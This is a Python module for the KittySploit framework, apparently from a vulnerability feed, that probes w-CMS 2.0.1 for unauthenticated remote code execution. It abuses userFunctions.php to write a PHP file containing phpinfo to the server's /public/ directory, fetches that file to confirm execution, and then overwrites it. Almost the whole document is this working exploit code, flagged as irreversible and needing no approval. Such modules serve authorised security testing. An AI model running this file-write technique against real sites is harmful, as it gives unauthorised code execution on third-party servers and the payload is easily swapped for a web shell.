w-CMS - userFunctions.php RCE Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""w-CMS userFunctions.php arbitrary PHP write RCE."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'w-CMS - userFunctions.php RCE Detection',
'description': (
'Detects w-CMS 2.0.1 RCE by writing phpinfo via userFunctions.php '
'and fetching /public/<file>.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'w-cms', 'rce', 'upload', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 4,
'reversible': False,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.2,
'noise': 0.5,
'value': 0.9,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.exploit-db.com/exploits/27523',
],
}
def run(self):
fname = self.random_text(8) + '.php'
for base in ('', '/w-cms', '/wcms'):
probe = self.http_request(method='GET', path=f'{base}/index.php', allow_redirects=False)
if not probe or 'w-CMS' not in (probe.text or ''):
continue
write = (
f'{base}/userFunctions.php?udef=activity&type={fname}'
'&content=%3C?php%20phpinfo();%20?%3E'
)
self.http_request(method='GET', path=write, allow_redirects=False)
g = self.http_request(method='GET', path=f'{base}/public/{fname}', allow_redirects=False)
if g and '<title>phpinfo()' in (g.text or ''):
# cleanup
self.http_request(
method='GET',
path=(
f'{base}/userFunctions.php?udef=activity&type={fname}'
'&content=%3C?php%20exit;%20?%3E'
),
allow_redirects=False,
)
self.set_info(
severity='critical',
reason='w-CMS userFunctions.php RCE',
path=f'{base}/userFunctions.php',
)
return True
return False
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8